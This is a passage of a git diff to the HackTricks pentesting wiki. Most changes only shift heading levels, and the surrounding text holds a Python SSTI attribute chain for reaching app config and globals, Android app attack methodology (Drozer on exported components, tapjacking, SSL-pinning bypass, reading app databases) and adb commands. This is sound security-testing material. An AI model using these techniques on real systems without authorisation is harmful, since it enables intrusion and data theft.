'Global func 0: ..__self__.pow.__self__'}, 'load_source': set(), 'execfile': set(), 'execute': set()} ``` diff --git a/misc/basic-python/magic-methods.md b/misc/basic-python/magic-methods.md index caf91f00..939c6ba4 100644 --- a/misc/basic-python/magic-methods.md +++ b/misc/basic-python/magic-methods.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Magic Methods - -## Class Methods +# Class Methods You can access the **methods** of a **class** using **\_\_dict\_\_.** @@ -29,15 +27,15 @@ You can access the functions ![](<../../.gitbook/assets/image (45).png>) -## Object class +# Object class -### **Attributes** +## **Attributes** You can access the **attributes of an object** using **\_\_dict\_\_**. Example: ![](<../../.gitbook/assets/image (41).png>) -### Class +## Class You can access the **class** of an object using **\_\_class\_\_** @@ -47,7 +45,7 @@ You can access the **methods** of the **class** of an **object chainning** magic ![](<../../.gitbook/assets/image (44).png>) -## Server Side Template Injection +# Server Side Template Injection Interesting functions to exploit this vulnerability @@ -69,7 +67,7 @@ __class__.__init__.__globals__[].__dict__ __class__.__init__.__globals__[].__dict__.config ``` -## More Information +# More Information * [https://rushter.com/blog/python-class-internals/](https://rushter.com/blog/python-class-internals/) * [https://docs.python.org/3/reference/datamodel.html](https://docs.python.org/3/reference/datamodel.html) diff --git a/misc/basic-python/venv.md b/misc/basic-python/venv.md index 6fc2348e..ef9e0cab 100644 --- a/misc/basic-python/venv.md +++ b/misc/basic-python/venv.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# venv - ```bash sudo apt-get install python3-venv #Now, go to the folder you want to create the virtual environment diff --git a/misc/basic-python/web-requests.md b/misc/basic-python/web-requests.md index 3968774b..b4e95bbb 100644 --- a/misc/basic-python/web-requests.md +++ b/misc/basic-python/web-requests.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Web Requests - ```python import requests @@ -54,7 +52,7 @@ pr = requests.post(url, data={"submit": "submit"}, files=filedict) print(f"\rflag: {flag}{char}", end="") ``` -## Python cmd to exploit a RCE +# Python cmd to exploit a RCE ```python import requests diff --git a/misc/references.md b/misc/references.md index 60a94900..5a0ac419 100644 --- a/misc/references.md +++ b/misc/references.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Other Big References - {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} {% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} diff --git a/mobile-apps-pentesting/android-app-pentesting/README.md b/mobile-apps-pentesting/android-app-pentesting/README.md index 231b6aca..7efa16be 100644 --- a/mobile-apps-pentesting/android-app-pentesting/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/README.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Android Applications Pentesting -### Android Applications Basics +# Android Applications Basics It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: @@ -26,19 +25,19 @@ It's highly recommended to start reading this page to know about the **most impo [android-applications-basics.md](android-applications-basics.md) {% endcontent-ref %} -### ADB (Android Debug Bridge) +# ADB (Android Debug Bridge) This is the main tool you need to connect to an android device (emulated or physical).\ It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more. Take a look to the following list of [**ADB Commands**](adb-commands.md) \_\*\*\_to learn how to use adb. -### Smali +# Smali Sometimes it is interesting to **modify the application code** to access **hidden information** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\ [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). This could be very useful as an **alternative for several tests during the dynamic analysis** that are going to presented. Then, **keep always in mid this possibility**. -### Other interesting tricks +# Other interesting tricks * [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) * **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) @@ -54,12 +53,12 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -### Static Analysis +# Static Analysis First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ Please, [**read here to find information about different available decompilers**](apk-decompilers.md). -#### Looking for interesting Info +## Looking for interesting Info Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). @@ -67,7 +66,7 @@ Just taking a look to the **strings** of the APK you can search for **passwords* Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../pentesting/pentesting-web/buckets/firebase-database.md) -#### Basic understanding of the application - Manifest.xml, strings.xml +## Basic understanding of the application - Manifest.xml, strings.xml Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\ Reading the **manifest** you can find **vulnerabilities**: @@ -92,7 +91,7 @@ Reading **resources.arsc/strings.xml** you can find some **interesting info**: * Custom schemas * Other interesting info developers save in this file -#### Tapjacking +## Tapjacking **Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\ In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**. @@ -118,13 +117,13 @@ The mitigation is relatively simple as the developer may choose not to receive t > > To enable touch filtering, call [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) or set the android:filterTouchesWhenObscured layout attribute to true. When enabled, the framework will discard touches that are received whenever the view's window is obscured by another visible window. As a result, the view will not receive touches whenever a toast, dialog or other window appears above the view's window. -#### Task Hijacking +## Task Hijacking {% content-ref url="android-task-hijacking.md" %} [android-task-hijacking.md](android-task-hijacking.md) {% endcontent-ref %} -#### Insecure data storage +## Insecure data storage **Internal Storage** @@ -149,7 +148,7 @@ Starting with Android 4.4 (**API 17**), the SD card has a directory structure wh * **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data//shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. * **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data//databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. -#### Broken TLS +## Broken TLS **Accept All Certificates** @@ -162,7 +161,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -#### Broken Cryptography +## Broken Cryptography **Poor Key Management Processes** @@ -172,7 +171,7 @@ Some developers save sensitive data in the local storage and encrypt it with a k Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. -#### Other checks +## Other checks * It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. * If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. @@ -180,7 +179,7 @@ Developers shouldn't use **deprecated algorithms** to perform authorisation **ch * If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. * Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK -#### React Native Application +## React Native Application Read the following page to learn how to easily access javascript code of React applications: @@ -188,7 +187,7 @@ Read the following page to learn how to easily access javascript code of React a [react-native-application.md](react-native-application.md) {% endcontent-ref %} -#### Xamarin Applications +## Xamarin Applications **Xamarin** apps are written in **C#**, in order to access the C# code **decompressed,** you need to get the files from the **apk**: @@ -204,30 +203,30 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C# code** from the DLLs. -#### Automated Static Code Analysis +## Automated Static Code Analysis The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. -#### Other interesting functions +## Other interesting functions * **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` * **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` * **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` * [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -#### **Other tricks** +## **Other tricks** {% content-ref url="content-protocol.md" %} [content-protocol.md](content-protocol.md) {% endcontent-ref %} -### Dynamic Analysis +# Dynamic Analysis > First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -#### Online Dynamic analysis +## Online Dynamic analysis You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. @@ -237,7 +236,7 @@ You can even **see the logs of your application** in the web and connect through Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -#### Local Dynamic Analysis +## Local Dynamic Analysis You can use some **emulator** like: @@ -268,7 +267,7 @@ Or you could use a **physical** **device** (you need to activate the debugging o > Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ > I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so will will be able to **learn how the application works** while MobSF **capture** a lot of **interesting** **data** you can review later on. -#### Unintended Data Leakage +## Unintended Data Leakage **Logging** @@ -293,7 +292,7 @@ As pentester, **try to take a look to these logs**. Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not. -#### SQLite DBs +## SQLite DBs Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` @@ -302,12 +301,12 @@ If the database is saving confidential information and is **encrypted b**ut you Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` -#### Drozer (Exploit Activities, Content Providers and Services) +## Drozer (Exploit Activities, Content Providers and Services) **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\ Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -#### Exploiting exported Activities +## Exploiting exported Activities [**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ \_\*\*\_Also remember that the code of an activity starts with the `onCreate` method. @@ -336,13 +335,13 @@ Note that an authorisation bypass is not always a vulnerability, it would depend **Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. -#### Exploiting Content Providers - Accessing and manipulating sensitive information +## Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider)\ Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.\ [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers) -#### **Exploiting Services** +## **Exploiting Services** [**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\ \_\*\*\_Remember that a the actions of a Service start in the method `onStartCommand`. @@ -350,7 +349,7 @@ Content providers are basically used to **share data**. If an app has available As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services) -#### **Exploiting Broadcast Receivers** +## **Exploiting Broadcast Receivers** [**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ \_\*\*\_Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. @@ -358,7 +357,7 @@ As service is basically something that **can receive data**, **process** it and A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers) -#### **Exploiting Schemes / Deep links** +## **Exploiting Schemes / Deep links** You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ You can **open** a declared **scheme** using **adb** or a **browser**: @@ -395,7 +394,7 @@ Note that if you find the correct endpoints inside the application you may be ab An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -#### Insufficient Transport Layer Protection +## Insufficient Transport Layer Protection * **Lack of Certificate Inspection:** Android Application fails to verify the identity of the certificate presented to it. Most of the application ignore the warnings and accept any self-signed certificate presented. Some Application instead pass the traffic through an HTTP connection. * **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection. @@ -410,7 +409,7 @@ By default, when making an SSL connection, the client(android app) checks that t In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.\ It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent. -#### Inspecting HTTP traffic +## Inspecting HTTP traffic First of all, you should (must) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.\ **Please,** [**read this guide to learn how to do install a custom CA certificate**](android-burp-suite-settings.md)**.** @@ -432,7 +431,7 @@ Here I'm going to present a few options I've used to bypass this protection: Note that in this step you should look for common web vulnerabilities. A lot of information about web vulnerabilities be found in this book so I'm not going to mention them here. -#### Frida +## Frida Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re).\ **It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ @@ -443,17 +442,17 @@ Dynamic instrumentation toolkit for developers, reverse-engineers, and security **Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\ **You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -#### **Android Application Analyzer** +## **Android Application Analyzer** This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer) -#### Intent Injection +## Intent Injection This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.\ Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.\ This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. -#### Android Client Side Injections and others +## Android Client Side Injections and others Probably you know about this kind of vulnerabilities from the Web. You have to be specially careful with this vulnerabilities in an Android application: @@ -463,9 +462,9 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b * **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk * [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) -### Automatic Analysis +# Automatic Analysis -#### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) +## [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) **Static analysis** @@ -483,7 +482,7 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. -#### Assisted Dynamic analysis with MobSF +## Assisted Dynamic analysis with MobSF **MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ The **MobSF dynamic analyser** can: @@ -543,7 +542,7 @@ adb shell settings put global http_proxy :0 ``` {% endhint %} -#### Assisted Dynamic Analysis with Inspeckage +## Assisted Dynamic Analysis with Inspeckage You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. @@ -552,13 +551,13 @@ This tool with use some **Hooks** to let you know **what is happening in the app [inspeckage-tutorial.md](inspeckage-tutorial.md) {% endcontent-ref %} -#### [Yaazhini](https://www.vegabird.com/yaazhini/) +## [Yaazhini](https://www.vegabird.com/yaazhini/) This is a **great tool to perform static analysis with a GUI** ![](<../../.gitbook/assets/image (527).png>) -#### [Qark](https://github.com/linkedin/qark) +## [Qark](https://github.com/linkedin/qark) This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. @@ -569,7 +568,7 @@ qark --java path/to/parent/java/folder qark --java path/to/specific/java/file.java ``` -#### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) +## [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) * Displays all extracted files for easy reference * Automatically decompile APK files to Java and Smali format @@ -595,7 +594,7 @@ qark --java path/to/specific/java/file.java reverse-apk relative/path/to/APP.apk ``` -#### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) +## [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) SUPER is a command-line application that can be used in Windows, MacOS X and Linux, that analyzes _.apk_ files in search for vulnerabilities. It does this by decompressing APKs and applying a series of rules to detect those vulnerabilities. @@ -607,7 +606,7 @@ Download the latest binaries from in the [download page](https://superanalyzer.r super-analyzer {apk_file} ``` -#### [StaCoAn](https://github.com/vincentcox/StaCoAn) +## [StaCoAn](https://github.com/vincentcox/StaCoAn) ![](<../../.gitbook/assets/image (62).png>) @@ -621,7 +620,7 @@ Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): ./stacoan ``` -#### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) +## [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.\ [Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases) @@ -631,7 +630,7 @@ python androbugs.py -f [APK file] androbugs.exe -f [APK file] ``` -#### [Androwarn](https://github.com/maaaaz/androwarn) +## [Androwarn](https://github.com/maaaaz/androwarn) **Androwarn** is a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application. @@ -643,7 +642,7 @@ This tool looks for **common behavior of "bad" applications** like: Telephony id python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` -#### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework) +## [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework) ![](<../../.gitbook/assets/image (81).png>) @@ -658,15 +657,15 @@ It is able to: * Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) * Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) -#### Koodous +## Koodous Useful to detect malware: [https://koodous.com/](https://koodous.com) -### Obfuscating/Deobfuscating code +# Obfuscating/Deobfuscating code Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. -#### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) +## [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. @@ -674,40 +673,40 @@ ProGuard is distributed as part of the Android SDK and runs when building the ap From: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) -#### [DeGuard](http://apk-deguard.com) +## [DeGuard](http://apk-deguard.com) **DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** You can upload an obfuscated APK to their platform. -#### [Simplify](https://github.com/CalebFenton/simplify) +## [Simplify](https://github.com/CalebFenton/simplify) It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. -#### [APKiD](https://github.com/rednaga/APKiD) +## [APKiD](https://github.com/rednaga/APKiD) APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. -#### Manual +## Manual [Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -### Labs +# Labs -#### [Androl4b](https://github.com/sh4hin/Androl4b) +## [Androl4b](https://github.com/sh4hin/Androl4b) AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. -#### OWASP +## OWASP {% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %} -#### Git Repos +## Git Repos [https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\ [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec) -### References +# References For more information visit: @@ -716,7 +715,7 @@ For more information visit: * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -### To Test +# To Test * [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) * [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md index 4657c55e..c49a4b23 100644 --- a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ADB Commands - **Adb is usually located in:** ```bash @@ -31,7 +29,7 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe **Information obtained from:** [**http://adbshell.com/**](http://adbshell.com) -## Connection +# Connection ``` adb devices @@ -59,7 +57,7 @@ adb server version (41) doesn't match this client (36); killing... It's because you are trying to connect to an ADB server with a different version. Just try to find the adb binary the software is using (go to `C:\Program Files\Genymobile\Genymotion` and search for adb.exe) -### Several devices +## Several devices Whenever you find **several devices connected to your machine** you will need to **specify in which one** you want to run the adb command. @@ -76,7 +74,7 @@ x86_64:/ # whoami root ``` -### Port Tunneling +## Port Tunneling In case the **adb** **port** is only **accessible** from **localhost** in the android device but **you have access via SSH**, you can **forward the port 5555** and connect via adb: @@ -85,11 +83,11 @@ ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` -## Packet Manager +# Packet Manager -### Install/Uninstall +## Install/Uninstall -#### adb install \[option] \ +### adb install \[option] \ ``` adb install test.apk @@ -119,7 +117,7 @@ adb install -d test.apk allow version code downgrade adb install -p test.apk partial application install ``` -#### adb uninstall \[options] \ +### adb uninstall \[options] \ ``` adb uninstall com.test.app @@ -129,11 +127,11 @@ adb uninstall com.test.app adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` -### Packages +## Packages Prints all packages, optionally only those whose package name contains the text in \. -#### adb shell pm list packages \[options] \ +### adb shell pm list packages \[options] \ ``` adb shell pm list packages @@ -171,7 +169,7 @@ adb shell pm list packages -u #Also include uninstalled packages. adb shell pm list packages --user #The user space to query. ``` -#### adb shell pm path \ +### adb shell pm path \ Print the path to the APK of the given . @@ -179,7 +177,7 @@ Print the path to the APK of the given . adb shell pm path com.android.phone ``` -#### adb shell pm clear \ +### adb shell pm clear \ Delete all data associated with a package. @@ -187,9 +185,9 @@ Delete all data associated with a package. adb shell pm clear com.test.abc ``` -## File Manager +# File Manager -#### adb pull \ \[local] +### adb pull \ \[local] Download a specified file from an emulator/device to your computer. @@ -197,7 +195,7 @@ Download a specified file from an emulator/device to your computer. adb pull /sdcard/demo.mp4 ./ ``` -#### adb push \ \ +### adb push \ \ Upload a specified file from your computer to an emulator/device. @@ -205,9 +203,9 @@ Upload a specified file from your computer to an emulator/device. adb push test.apk /sdcard ``` -## Screencapture/Screenrecord +# Screencapture/Screenrecord -#### adb shell screencap \ +### adb shell screencap \ Taking a screenshot of a device display. @@ -215,7 +213,7 @@ Taking a screenshot of a device display. adb shell screencap /sdcard/screen.png ``` -#### adb shell screenrecord \[options] \ +### adb shell screenrecord \[options] \ Recording the display of devices running Android 4.4 (API level 19) and higher. @@ -232,9 +230,9 @@ adb shell screenrecord --verbose **You can download the files (images and videos) using **_**adb pull**_ -## Shell +# Shell -#### adb shell +### adb shell Get a shell inside the device @@ -242,7 +240,7 @@ Get a shell inside the device adb shell ``` -#### adb shell \ +### adb shell \ Execute a command inside the device @@ -250,7 +248,7 @@ Execute a command inside the device adb shell ls ``` -### pm +## pm The following commands are executed inside of a shell @@ -263,7 +261,7 @@ am broadcast [] #Send a broadcast. Whiout options you can see the help input [text|keyevent] #Send keystrokes to device ``` -## Processes +# Processes If you want to get the PID of the process of your application you can execute: @@ -281,7 +279,7 @@ adb shell pidof com.your.application And it will print the PID of the application -## System +# System ``` adb root @@ -295,9 +293,9 @@ adb sideload flashing/restoring Android update.zip packages. -## Logs +# Logs -### Logcat +## Logcat To **filter the messages of only one application**, get the PID of the application and use grep (linux/macos) or findstr (windows) to filter the output of logcat: @@ -306,7 +304,7 @@ adb logcat | grep 4526 adb logcat | findstr 4526 ``` -#### adb logcat \[option] \[filter-specs] +### adb logcat \[option] \[filter-specs] ``` adb logcat @@ -342,7 +340,7 @@ adb logcat *:F filter to only show Fatal level adb logcat *:S Silent, highest priority, on which nothing is ever printed ``` -#### adb logcat -b \ +### adb logcat -b \ ``` adb logcat -b radio View the buffer that contains radio/telephony related messages. @@ -376,11 +374,11 @@ adb logcat -g Prints the size of the specified log buffer and exits. adb logcat -n Sets the maximum number of rotated logs to . ``` -### dumpsys +## dumpsys dumps system data -#### adb shell dumpsys \[options] +### adb shell dumpsys \[options] ``` adb shell dumpsys @@ -406,7 +404,7 @@ adb shell dumpsys batterystats --reset erases old collection data adb shell dumpsys activity -## Backup +# Backup Backup an android device from adb. diff --git a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md index d6ec4eb0..a55df7f9 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md @@ -16,30 +16,29 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Android Applications Basics -### Android Security Model +# Android Security Model **There are two layers:** * The **OS**, which keeps installed applications isolated from one another. * The **application itself**, which allows developers to **expose certain functionalities** and configures application capabilities. -#### UID Separation +## UID Separation **Each application is assigned a specific User ID**. This is done during the installation of the app so t**he app can only interact with files owned by its User ID or shared** files. Therefore, only the app itself, certain components of the OS and the root user can access the apps data. -#### UID Sharing +## UID Sharing **Two applications can be configured to use the same UID**. This can be useful to share information, but if one of them is compromised the data of both applications will be compromised. This is why this behaviour is **discourage**.\ **To share the same UID, applications must define the same `android:sharedUserId` value in their manifests.** -#### Sandboxing +## Sandboxing The **Android Application Sandbox** allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ From Android 5.0(L) **SELinux** is enforced. Basically, SELinux denied all process interactions and then created policies to **allow only the expected interactions between them**. -#### Permissions +## Permissions When you installs an **app and it ask for permissions**, the app is 